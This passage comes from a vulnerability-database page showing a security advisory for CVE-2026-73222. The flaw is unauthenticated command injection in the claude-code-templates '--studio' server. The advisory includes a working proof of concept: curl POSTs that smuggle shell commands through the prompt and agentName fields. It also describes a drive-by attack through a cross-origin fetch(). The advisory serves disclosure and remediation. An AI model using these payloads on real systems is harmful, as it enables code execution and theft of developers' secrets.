              "fixed": "1.29.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73222"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-352",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T19:50:47Z",
    "nvd_published_at": "2026-08-11T19:18:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`npx claude-code-templates --studio` launches \"Claude Code Studio\", an Express HTTP server (`cli-tool/src/sandbox-server.js`, default port 3444) that binds to **all interfaces** (`0.0.0.0`), sets `Access-Control-Allow-Origin: *`, and requires **no authentication**. Two POST endpoints pass attacker-controlled request-body fields into `child_process.spawn(..., { shell: true })`. Because `shell: true` makes Node join the argv array into a single `sh -c` string, the fields are parsed by the shell and metacharacters execute. Any unauthenticated attacker who can reach the port \u2014 a malicious web page the developer visits, or anyone on the same LAN \u2014 can execute arbitrary OS commands on the developer\u0027s machine.\n\n### Details\nIn `cli-tool/src/sandbox-server.js`:\n\n- `app.listen(PORT, ...)` is called with no host argument, so the server listens on `0.0.0.0` / `::` (reachable from the LAN, not just localhost).\n- The CORS middleware sends `Access-Control-Allow-Origin: *` and answers the preflight `OPTIONS` for any origin, so a browser will deliver cross-origin POSTs to it.\n- There is no authentication on any endpoint.\n\nThe vulnerable sinks:\n\n1. `POST /api/execute` \u2014 the `prompt` body field flows into `executeLocalTask()`:\n   ```js\n   const child = spawn(\u0027claude\u0027, [finalPrompt], { /* ... */ shell: true });\n   The only validation on prompt is a length check (\u003e= 10 chars). With shell: true, finalPrompt is interpreted by the shell.\n\n2. POST /api/install-agent \u2014 the agentName body field:\nconst child = spawn(\u0027npx\u0027, [\u0027claude-code-templates@latest\u0027, \u0027--agent\u0027, agentName, \u0027--yes\u0027], { /* ... */ shell: true });\n2. agentName is used unvalidated. (The same unsafe pattern is also reachable through /api/execute\u0027s agent field via checkAndInstallAgent().)\n\nRoot cause: spawn(cmd, argsArray, { shell: true }) does not keep argsArray as separate argv entries \u2014 Node builds cmd + \u0027 \u0027 + argsArray.join(\u0027 \u0027) and runs it via sh -c, so every element is subject to shell parsing.\n\nPoC\n\n# Victim\nnpx claude-code-templates --studio          # server on 0.0.0.0:3444\n\n# Attacker (another LAN host, or a malicious web page fetch(), or locally)\ncurl -s -X POST http://127.0.0.1:3444/api/execute \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"prompt\":\"aaaaaaaaaa; touch /tmp/CCT_RCE_PROOF\",\"mode\":\"local\"}\u0027\n\ncurl -s -X POST http://127.0.0.1:3444/api/install-agent \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"agentName\":\"x; touch /tmp/CCT_AGENT_PROOF #\"}\u0027\n\nls -la /tmp/CCT_RCE_PROOF /tmp/CCT_AGENT_PROOF   # both created =\u003e injected commands ran\nThe aaaaaaaaaa padding satisfies the 10-char minimum, then ; (or $(...), or backticks) starts the injected command. claude/npx do not even need to be installed \u2014 the injected segment runs regardless.\n\nConfirmed at runtime on v1.28.13 (Node 22, Linux): both marker files were created, the server listened on *:3444, and an OPTIONS preflight from Origin: https://evil.example returned 200 with Access-Control-Allow-Origin: *.\n\nImpact\n\nUnauthenticated remote code execution (CWE-78) on any machine running --studio. Two reachability paths:\n- Drive-by: a developer running --studio who visits an attacker-controlled web page \u2014 the page\u0027s cross-origin fetch() (Content-Type application/json) passes the wildcard CORS preflight and delivers the POST, achieving RCE with no other interaction.\n- LAN: because the server binds 0.0.0.0, anyone on the same network (office, co-working space, public Wi-Fi) can hit port 3444 directly.\n\nImpact is full compromise of the developer\u0027s user account (arbitrary command execution with the developer\u0027s privileges): source code, SSH keys, cloud credentials, and .env secrets.\n\nSuggested fix\n\n- Remove shell: true from all three spawns so arguments stay discrete argv entries (kills the injection).\n- Validate agentName against a strict allowlist (^[A-Za-z0-9._/-]+$).\n- Bind to loopback only (app.listen(PORT, \u0027127.0.0.1\u0027, ...)).\n- Replace the wildcard CORS with a same-origin allowlist and reject other origins.",
  "id": "GHSA-79wm-x847-7cvg",
  "modified": "2026-09-03T19:50:47Z",
  "published": "2026-09-03T19:50:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73222"
    },
    {
      "type": "WEB",
      "url": "https://github.com/davila7/claude-code-templates/commit/bc4618b07232633c1c0aac12a43e436268d31783"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/davila7/claude-code-templates"
    },
    {
      "type": "WEB",
      "url": "https://github.com/davila7/claude-code-templates/blob/main/CHANGELOG.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-73222 (GCVE-0-2026-73222)

BREW-CLAUDE-CODE-TEMPLAT… (GHSA-79WM-X847-7CVG)

Summary

Details

Victim

Attacker (another LAN host, or a malicious web page fetch(), or locally)

EUVD-2026-351970

FKIE_CVE-2026-73222

GHSA-79WM-X847-7CVG

Summary

Details

Victim

Attacker (another LAN host, or a malicious web page fetch(), or locally)

Tags

Sightings

Nomenclature

Related by attack behaviour